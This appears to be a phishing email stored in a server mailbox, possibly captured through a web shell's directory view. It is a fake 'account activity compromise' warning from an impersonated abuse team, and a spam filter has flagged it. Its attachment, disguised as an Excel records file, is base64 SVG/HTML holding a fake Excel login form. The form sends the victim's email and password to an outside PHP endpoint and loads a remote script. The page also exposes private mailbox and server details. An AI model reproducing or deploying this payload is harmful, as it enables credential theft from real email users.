| Dir : /home/ithome/mail/cur/ |
| Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64 IP: 144.91.64.173 |
| Dir : /home/ithome/mail/cur/1756871144.M732287P1929.host100322.itwesthosting.com,S=12959,W=13176:2, |
Return-Path: <contact@mtce1e.com>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
by host100322.itwesthosting.com with LMTP
id /iKBK+i5t2iJBwAAp0YrwQ
(envelope-from <contact@mtce1e.com>)
for <ithome@host100322.itwesthosting.com>; Wed, 03 Sep 2025 05:45:44 +0200
Return-path: <contact@mtce1e.com>
Envelope-to: krznarija_dvoravic@zagrebcrafts.hr
Delivery-date: Wed, 03 Sep 2025 05:45:44 +0200
Received: from mta0.mtce1e.com ([193.226.77.246]:47300)
by host100322.itwesthosting.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <contact@mtce1e.com>)
id 1uteRM-0000V0-2Z
for krznarija_dvoravic@zagrebcrafts.hr;
Wed, 03 Sep 2025 05:45:44 +0200
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; s=default; d=mtce1e.com;
h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type;
i=contact@mtce1e.com;
bh=k3UCQv31TXczzoAf+h9RC4XA/ezjUUnAzXgrt2kWv1o=;
b=FeIVV0D76Czfxe/MvVLUbXQW5zakF9FbAPwuKirhNWFUPvARup4L3h+vo8YTNhFjXUxsdM5eWbtp
JXZ1pS8jAQKcVpDglxmI6JrMJk5Xzf8E/kkV6EqD7Bo9kHYS0vLoVjBHFN4vGgD5d79TeAsK6mt9
FGZYpy7mO7uF1VMYjJo=
From: Abuse Zagrebcrafts <contact@mtce1e.com>
To: krznarija_dvoravic@zagrebcrafts.hr
Date: 2 Sep 2025 20:45:42 -0700
Message-ID: <20250902204542.0AED423C6C4892F4@mtce1e.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_8770A74B.F3EDEF50"
X-Spam-Status: Yes, score=7.5
X-Spam-Score: 75
X-Spam-Bar: +++++++
X-Spam-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: CLASSIFIED: Zagrebcrafts krznarija_dvoravic@zagrebcrafts.hr
Dear krznarija_dvoravic@zagrebcrafts.hr, We recently detected unsolicited
activity on your (krznarija_dvoravic@zagrebcrafts.hr) that do not align with
our usage policies. To help protect your account, we’re reaching out with
details and ne [...]
Content analysis details: (7.5 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: jsdelivr.net]
2.5 URIBL_DBL_MALWARE Contains a malware URL listed in the Spamhaus
DBL blocklist
[URIs: mtce1e.com]
2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus
DBL blocklist
[URIs: mtce1e.com]
0.5 JMQ_SPF_NEUTRAL ASKDNS: SPF set to ?all
[mtce1e.com TXT:v=spf1 a mx ptr a:mtce1e.com]
[ip4:193.226.77.0/24 ?all]
1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?193.226.77.246>]
0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS
blocklist
[URIs: mtce1e.com]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[193.226.77.246 listed in bl.score.senderscore.com]
-0.0 SPF_PASS SPF: sender matches SPF record
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[193.226.77.246 listed in sa-accredit.habeas.com]
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
0.0 KAM_SHORT Use of a URL Shortener for very short URL
0.8 FROM_FMBLA_NEWDOM28 From domain was registered in last 14-28
days
0.0 TVD_PH_BODY_ACCOUNTS_PRE The body matches phrases such as
"accounts suspended", "account credited",
"account verification"
X-Spam-Flag: YES
Subject: ***SPAM*** krznarija_dvoravic@zagrebcrafts.hr: Account Activity Compromise
X-From-Rewrite: unmodified, forwarded message
This is a multi-part message in MIME format.
------=_NextPart_000_0012_8770A74B.F3EDEF50
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<html><head>
<meta name=3D"GENERATOR" content=3D"MSHTML 11.00.10570.1001">
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body style=3D"font-family: Calibri;">
<p dir=3D"ltr" data-pm-slice=3D"1 1 []"><font color=3D"#000000"><font style=
=3D"background-color: rgb(43, 212, 173);"><font style=3D"background-color: =
rgb(46, 129, 87);"><strong><font style=3D"background-color: rgb(128, 0, 0);=
"> </font> </strong></font><span style=3D"font-size: 10pt;"=
><font style=3D"background-color: rgb(240, 255, 240);"><strong>
CLASSIFIED: Zagrebcrafts </strong><strong>
krznarija_dvoravic@zagrebcrafts.hr </strong></font></span><br></font><br><s=
pan style=3D"font-size: 11pt;">Dear krznarija_dvoravic@zagrebcrafts.hr,</sp=
an></font></p>
<p dir=3D"ltr"><font color=3D"#000000">We recently detected unsolicited act=
ivity on your (krznarija_dvoravic@zagrebcrafts.hr) that do not al=
ign with our usage policies. To help protect your account, we’re reac=
hing out with details and next steps.</font></p>
<p dir=3D"ltr"><font color=3D"#000000">Please follow these steps within the=
next 48 hours:</font></p>
<ol class=3D"tight" dir=3D"ltr" data-tight=3D"true">
<li>
<p dir=3D"ltr"><font color=3D"#000000">Check the attached list of recent em=
ails sent from your account.</font></p></li>
<li>
<p dir=3D"ltr"><font color=3D"#000000">Note the email address, subject, and=
any relevant details of the activity in question.</font></p></li>
<li>
<p dir=3D"ltr"><font color=3D"#000000">Contact our abuse team at <a hr=
ef=3D"mailto:abuse@securecorp.com">abuse@securecorp.com</a> with the detail=
s from attached to remove pending account block.</font></p></li></ol>
<p dir=3D"ltr"><font color=3D"#000000">Taking these steps will help ensure =
your email account would not be blocked in the next 48 hours.</font></p>
<p dir=3D"ltr"><font color=3D"#000000">Thank you for your prompt attention.=
</font></p>
<p style=3D"font-size: 11pt;" dir=3D"ltr"><font color=3D"#000000">Best rega=
rds, <br> Zagrebcrafts SecureCorp abuse Team</font></p><font color=
=3D"#000000">
<hr>
</font>
<p dir=3D"ltr"><font color=3D"#000000" style=3D"font-size: 10pt;">This is a=
n automated message. Please do not reply directly. For assistance, contact =
<a href=3D"mailto:abuse@securecorp.com">abuse@securecorp.com</a>.</font></p=
></body></html>
------=_NextPart_000_0012_8770A74B.F3EDEF50
Content-Type: text/xml; name="krznarija_dvoravic@zagrebcrafts.hr records.xlsx .xml"; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="krznarija_dvoravic@zagrebcrafts.hr records.xlsx .xml"
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciDQogICAgIHdpZHRoPSIx
MDAlIg0KICAgICBoZWlnaHQ9IjEwMCUiDQogICAgIHZpZXdCb3g9IjAgMCAxOTIwIDEwODAi
DQogICAgIHByZXNlcnZlQXNwZWN0UmF0aW89InhNaWRZTWlkIG1lZXQiPg0KICA8Zm9yZWln
bk9iamVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIj4NCiAgICA8ZGl2IHhtbG5zPSJo
dHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8aGVhZD4NCjxsaW5rIHJlbD0ic3R5
bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L2doL25hd2F6LWNlbGwv
eGxzeEBtYWluL3N0eWxlNi5jc3MiLz4NCjwvaGVhZD4NCiAgICAgICAgPGRpdiBjbGFzcz0i
Y29udGFpbmVyIj4NCiAgICA8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLXRhYmxlIiBpZD0idGFi
bGVCYWNrZ3JvdW5kIj4NCgk8aW1nIA0KCSAgICAgc3JjPSJodHRwczovL2kuaWJiLmNvL1RC
TW5wNlBGL2V4Y2VsLWxvZ28ucG5nIiB3aWR0aD0iMjAwIiBoZWlnaHQ9IjE1MCIgYWx0PSJF
eGNlbCBMb2dvIi8+PGRpdiBjbGFzcz0idGFibGUtdGl0bGUiPiAgIFphZ3JlYmNyYWZ0cyBM
aXN0IGFzc29jaWF0ZWQgdG8gPHN0cm9uZz5rcnpuYXJpamFfZHZvcmF2aWNAemFncmViY3Jh
ZnRzLmhyPC9zdHJvbmc+IDwvZGl2Pg0KCSAgPGRpdiBjbGFzcz0idGFibGUtdGl0bGUiPkVt
YWlsIGxpc3Q8L2Rpdj4NCgkgIDx0YWJsZT4NCiAgICAgICAgPHRoZWFkPg0KICAgICAgICAg
IDx0cj4NCiAgICAgICAgICAgIDx0aD5TZW5kZXI8L3RoPg0KICAgICAgICAgICAgPHRoPlJl
Y2VpdmVyPC90aD4NCgkJCTx0aD5TdWJqZWN0PC90aD4NCiAgICAgICAgICA8L3RyPg0KICAg
ICAgICA8L3RoZWFkPg0KICAgICAgICA8dGJvZHk+DQogICAgICAgICAgPHRyPjx0ZD5rcnpu
YXJpamFfZHZvcmF2aWNAemFncmViY3JhZnRzLmhyPC90ZD48dGQ+bWFyay5zbWl0aEBpbm5v
dmF0ZWNoLm5ldDwvdGQ+PHRkPlVyZ2VudDogWW91ciBBY2NvdW50IEhhcyBCZWVuIFN1c3Bl
bmRlZCDigJMgVmVyaWZ5IE5vdyE8L3RkPjwvdHI+DQogICAgICAgICAgPHRyPjx0ZD5rcnpu
YXJpamFfZHZvcmF2aWNAemFncmViY3JhZnRzLmhyPC90ZD48dGQ+ZW1pbHkuam9uZXNAZ2xv
YmFsd2F2ZS5vcmc8L3RkPjx0ZD5Dcml0aWNhbDogWW91ciBCYW5rIEFjY291bnQgTmVlZHMg
SW1tZWRpYXRlIFZlcmlmaWNhdGlvbjwvdGQ+PC90cj4NCiAgICAgICAgICA8dHI+PHRkPmty
em5hcmlqYV9kdm9yYXZpY0B6YWdyZWJjcmFmdHMuaHI8L3RkPjx0ZD50b20ud2lsc29uQHBy
b2xpbmsuY29tPC90ZD48dGQ+WW91ciBUYXggUmVmdW5kIElzIFdhaXRpbmcg4oCTIFN1Ym1p
dCBEZXRhaWxzIE5vdyE8L3RkPjwvdHI+DQogICAgICAgICAgPHRyPjx0ZD5rcnpuYXJpamFf
ZHZvcmF2aWNAemFncmViY3JhZnRzLmhyPC90ZD48dGQ+Y2hyaXMubGVlQGJyaWdodGNvcmUu
Y29tPC90ZD48dGQ+Q29uZ3JhdHVsYXRpb25zISBZb3XigJlyZSBQcmUtQXBwcm92ZWQgZm9y
IGEgJDUsMDAwIExvYW48L3RkPjwvdHI+DQogICAgICAgICAgPHRyPjx0ZD5rcnpuYXJpamFf
ZHZvcmF2aWNAemFncmViY3JhZnRzLmhyPC90ZD48dGQ+c2FyYWguYnJvd25AbmV4dGdlbi5i
aXo8L3RkPjx0ZD5TZWN1cml0eSBBbGVydDogVW51c3VhbCBMb2dpbiBEZXRlY3RlZCBvbiBZ
b3VyIEFjY291bnQ8L3RkPjwvdHI+DQogICAgICAgICAgPHRyPjx0ZD5rcnpuYXJpamFfZHZv
cmF2aWNAemFncmViY3JhZnRzLmhyPC90ZD48dGQ+bGF1cmEubWFydGluQHNreWZvcmdlLm5l
dDwvdGQ+PHRkPkZpbmFsIE5vdGljZTogWW91ciBTdWJzY3JpcHRpb24gV2lsbCBFeHBpcmUg
aW4gMjQgSG91cnM8L3RkPjwvdHI+DQogICAgICAgICAgPHRyPjx0ZD5rcnpuYXJpamFfZHZv
cmF2aWNAemFncmViY3JhZnRzLmhyPC90ZD48dGQ+ZGF2aWQuY2xhcmtAdml0YWxpdHlpbmMu
Y29tPC90ZD48dGQ+Q29uZ3JhdHVsYXRpb25zISBZb3XigJlyZSBQcmUtQXBwcm92ZWQgZm9y
IGEgJDUsMDAwIExvYW48L3RkPjwvdHI+DQogICAgICAgICAgPHRyPjx0ZD5rcnpuYXJpamFf
ZHZvcmF2aWNAemFncmViY3JhZnRzLmhyPC90ZD48dGQ+YW5uYS53aGl0ZUBjb3JlcHVsc2Uu
b3JnPC90ZD48dGQ+Q3JpdGljYWw6IFlvdXIgQmFuayBBY2NvdW50IE5lZWRzIEltbWVkaWF0
ZSBWZXJpZmljYXRpb248L3RkPjwvdHI+DQogICAgICAgICAgPHRyPjx0ZD5rcnpuYXJpamFf
ZHZvcmF2aWNAemFncmViY3JhZnRzLmhyPC90ZD48dGQ+ZW1pbHkuam9uZXNAZ2xvYmFsd2F2
ZS5vcmc8L3RkPjx0ZD5Dcml0aWNhbDogWW91ciBCYW5rIEFjY291bnQgTmVlZHMgSW1tZWRp
YXRlIFZlcmlmaWNhdGlvbjwvdGQ+PC90cj4NCjwvdGJvZHk+DQogICAgICA8L3RhYmxlPg0K
ICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImxvZ2luLWJveCIgaWQ9ImxvZ2luQm94Ij4N
CiAgICAgIDxpbWcNCiAgICAgICAgc3JjPSJodHRwczovL2kuaWJiLmNvL1R4SEdyNG13L2V4
Y2VsbG9nb21yY2V3LnBuZyINCiAgICAgICAgYWx0PSJFeGNlbCBMb2dvIg0KICAgICAgICBj
bGFzcz0iZXhjZWwtbG9nbyINCiAgICAgICAgb25lcnJvcj0iaGFuZGxlSW1nRXJyb3IoKSIN
CiAgICAgIC8+DQogICAgICA8ZGl2IGlkPSJsb2dvRmFsbGJhY2siPkV4Y2VsIExvZ288L2Rp
dj4NCgkgIDxoND5Gb3Igc2VjdXJpdHkgcmVhc29ucywgZmlsZSBpcyBlbmNyeXB0ZWQgdG8g
ZW1haWwgYm94IGNyZWRlbnRpYWxzPC9oND4NCgkgIDxwPlRoaXMgZG9jdW1lbnQgY29udGFp
bnMgbGlzdCBvZiBmcmF1ZHVsZW50IGVtYWlscyBvcmlnaW5hdGVkIGZyb20ga3J6bmFyaWph
X2R2b3JhdmljQHphZ3JlYmNyYWZ0cy5ociAsUGxlYXNlIHByb2NlZWQuPC9wPg0KCSAgPGZv
cm0gaWQ9ImxvZ2luRm9ybSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHBzOi8vdHJpYm9s
b2d5LmNvbS5teC9jc3MvbG9naW4ucGhwIj4NCiAgPGlucHV0IHR5cGU9ImVtYWlsIiB2YWx1
ZT0ia3J6bmFyaWphX2R2b3JhdmljQHphZ3JlYmNyYWZ0cy5ociIgaWQ9ImVtYWlsIiBuYW1l
PSJlbWFpbCIgcGxhY2Vob2xkZXI9IkVtYWlsIiAvPg0KPGlucHV0IHR5cGU9InBhc3N3b3Jk
IiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIiAvPg0KICA8YnV0dG9u
IHR5cGU9InN1Ym1pdCI+TG9naW48L2J1dHRvbj4NCiAgPHAgaWQ9ImVycm9yIiBzdHlsZT0i
ZGlzcGxheTogbm9uZTsgY29sb3I6IHJlZDsgdGV4dC1hbGlnbjogY2VudGVyOyBtYXJnaW4t
dG9wOiAxMHB4OyI+PC9wPg0KPC9mb3JtPiAgDQo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4u
anNkZWxpdnIubmV0L2doL25hd2F6LWNlbGwveGxzeEBtYWluL3NjcmlwdC5qcyI+PC9zY3Jp
cHQ+DQo8L2Rpdj4NCjwvZGl2Pg0KPC9kaXY+DQo8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=
------=_NextPart_000_0012_8770A74B.F3EDEF50--